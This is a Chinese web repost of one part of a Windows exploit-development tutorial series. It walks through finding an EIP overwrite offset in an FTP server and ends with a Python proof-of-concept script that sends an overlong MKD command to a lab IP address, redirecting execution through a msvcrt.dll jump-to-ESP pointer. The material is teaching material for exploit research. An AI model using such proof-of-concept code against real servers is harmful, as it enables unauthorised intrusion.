- 第一部分: Introduction to Exploit Development
- 第二部分:Saved Return Pointer Overflows
- 第三部分:Structured Exception Handler (SEH)
- 第四部分:Egg Hunters
- 第五部分:Unicode 0x00410041
- 第六部分:WIN32 shellcode 编写
- 第七部分:返回导向编程(ROP)
- 第八部分:堆喷射第一节【覆写 EIP】
- 第九部分:堆喷射[第二章:UAF]
- 第十部分:内核利用程序之栈溢出
- 第十一部分:内核利用程序之任意位置任意写
- 第十二部分:内核利用程序之空指针引用
- 第十三部分:内核利用程序之未初始化栈变量
- 第十四部分:内核利用程序之整数溢出
- 第十五部分:内核利用程序之 UAF
- 第十六部分:内核利用程序之池溢出
- 第十七部分:内核利用程序之任意位置任意写
- 第十八篇:内核利用程序之 RS2 Bitmap 巫术
- 第十九篇:内核利用程序之 Razer
文章来源于网络收集而来,版权归原创者所有,如有侵权请及时联系!
改写 EIP
接下来分析这个崩溃,为了方便我用 metasploit 模式字符串替换替换前面的 AAAAA…., 注意保持原始的缓冲区大小,变化大小可能会影响崩溃。
当程序再次崩溃,再看看 EIP 已经被 metasploit 模式字符串覆写. 现在是时候出动”mona”了. 使用下面的命令分析程序崩溃,你可以看到下面的结果。
由上图我们可以知道 EIP 在 247 字节后被覆盖. 同样看看 ESP 指向的缓冲区包含了更多我们可控的空间. 知道这些信息后,我们重新布置脚本如下:
Evil= “A”*247 + “B”*4 +”C”*749
再次运行这个脚本,结果正如所料. EIP 被覆写为 BBBB.
这意味着我们可以用一个指针替换 BBBB, 将程序重定向到 ESP 所指的地方. 唯一需要注意的是这个指针不能包含坏字符. 可以使用”mona”
!mona jmp –r esp
搜索这个指针. 下图是结果:
似乎这些指针都可以. 它们特定于”WinXP PRO SP3”的系统 dll 模块. 但这不是我们首要关注的.我们用列表第一个指针. 记住:由于 cpu 是小序,所以指针需要逆序。
Pointer: 0x77c35459 : push esp # ret | {PAGE_EXECUTE_READ} [msvcrt.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v7.0.2600.5701 (C:\WINDOWS\system32\msvcrt.dll) Buffer: evil = "A"*247 + "\x59\x54\xC3\x77" + "C"*749
强调一下你应该根据你的实际情况作调整,最后的 POC 像下面这样:
#!/usr/bin/python import socket import sys #------------------------------------------------------------ # Badchars: \x00\x0A\x0D # 0x77c35459 : push esp # ret | msvcrt.dll #------------------------------------------------------------ evil = "A"*247 + "\x59\x54\xC3\x77" + "C"*749 s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) connect=s.connect(('192.168.111.128',21)) s.recv(1024) s.send('USER anonymous\r\n') s.recv(1024) s.send('PASS anonymous\r\n') s.recv(1024) s.send('MKD ' + evil + '\r\n') s.recv(1024) s.send('QUIT\r\n') s.close
用调试器附加程序,运行这个脚本. 我们可以看到 EIP 已经被我们的指针覆盖掉了。接下来就能执行到 ESP 所指的地方了。
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论